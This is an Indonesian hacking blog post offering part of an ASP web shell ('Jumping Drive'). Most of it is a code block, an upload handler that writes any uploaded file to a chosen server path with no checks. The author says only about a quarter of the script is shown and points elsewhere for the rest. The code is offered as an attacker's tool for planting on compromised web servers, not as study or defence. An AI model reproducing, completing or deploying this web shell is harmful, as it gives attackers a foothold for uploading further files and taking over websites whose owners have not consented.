Shell Code Asp Jumping Drive

Rabu, 08 Mei 2013

Download Shell Code asp Jumping Drive

Langsung aje

<% Function BufferContent(data)  Dim strContent(64)  Dim i  ClearString strContent  For i = 1 To LenB(data)   AddString strContent,Chr(AscB(MidB(data,i,1)))  Next  BufferContent = fnReadString(strContent) End Function  Sub ClearString(part)  Dim index  For index = 0 to 64   part(index)=""  Next End Sub  Sub AddString(part,newString)  Dim tmp  Dim index  part(0) = part(0) & newString  If Len(part(0)) > 64 Then   index=0   tmp=""   Do    tmp=part(index) & tmp    part(index) = ""    index = index + 1   Loop until part(index) = ""   part(index) = tmp  End If End Sub  Function fnReadString(part)  Dim tmp  Dim index  tmp = ""  For index = 0 to 64   If part(index) <> "" Then    tmp = part(index) & tmp   End If  Next  FnReadString = tmp End Function   Class FileUploader  Public  Files  Private mcolFormElem  Private Sub Class_Initialize()   Set Files = Server.CreateObject("Scripting.Dictionary")   Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")  End Sub   Private Sub Class_Terminate()   If IsObject(Files) Then    Files.RemoveAll()    Set Files = Nothing   End If   If IsObject(mcolFormElem) Then    mcolFormElem.RemoveAll()    Set mcolFormElem = Nothing   End If  End Sub   Public Property Get Form(sIndex)   Form = ""   If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))  End Property   Public Default Sub Upload()   Dim biData, sInputName   Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos   Dim nPosFile, nPosBound   biData = Request.BinaryRead(Request.TotalBytes)   nPosBegin = 1   nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))   If (nPosEnd-nPosBegin) <= 0 Then Exit Sub   vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)   nDataBoundPos = InstrB(1, biData, vDataBounds)   Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))    nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))    nPos = InstrB(nPos, biData, CByteString("name="))    nPosBegin = nPos + 6    nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))    sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))    nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))    nPosBound = InstrB(nPosEnd, biData, vDataBounds)    If nPosFile <> 0 And  nPosFile < nPosBound Then     Dim oUploadFile, sFileName     Set oUploadFile = New UploadedFile     nPosBegin = nPosFile + 10     nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))     sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))     oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))     nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))     nPosBegin = nPos + 14     nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))     oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))     nPosBegin = nPosEnd+4     nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2     oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)     If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile    Else     nPos = InstrB(nPos, biData, CByteString(Chr(13)))     nPosBegin = nPos + 4     nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2     If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))    End If    nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)   Loop  End Sub   'String to byte string conversion  Private Function CByteString(sString)   Dim nIndex   For nIndex = 1 to Len(sString)      CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))   Next  End Function   'Byte string to string conversion  Private Function CWideString(bsString)   Dim nIndex   CWideString =""   For nIndex = 1 to LenB(bsString)      CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))    Next  End Function End Class   Class UploadedFile  Public ContentType  Public FileName  Public FileData  Public Property Get FileSize()   FileSize = LenB(FileData)  End Property   Public Sub SaveToDisk(sPath)   Dim oFS, oFile   Dim nIndex   If sPath = "" Or FileName = "" Then Exit Sub   If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"   Set oFS = Server.CreateObject("Scripting.FileSystemObject")   If Not oFS.FolderExists(sPath) Then Exit Sub   Set oFile = oFS.CreateTextFile(sPath & FileName, True)   ' output mechanism modified for buffering   oFile.Write BufferContent(FileData)   oFile.Close  End Sub 

itu script 25% Untuk lebih lengkapnya disini Jum

Hadiah dari mas aSU_aBANG

Terima kasih

Sumber https://travismarkshihab.blogspot.com/

Share This :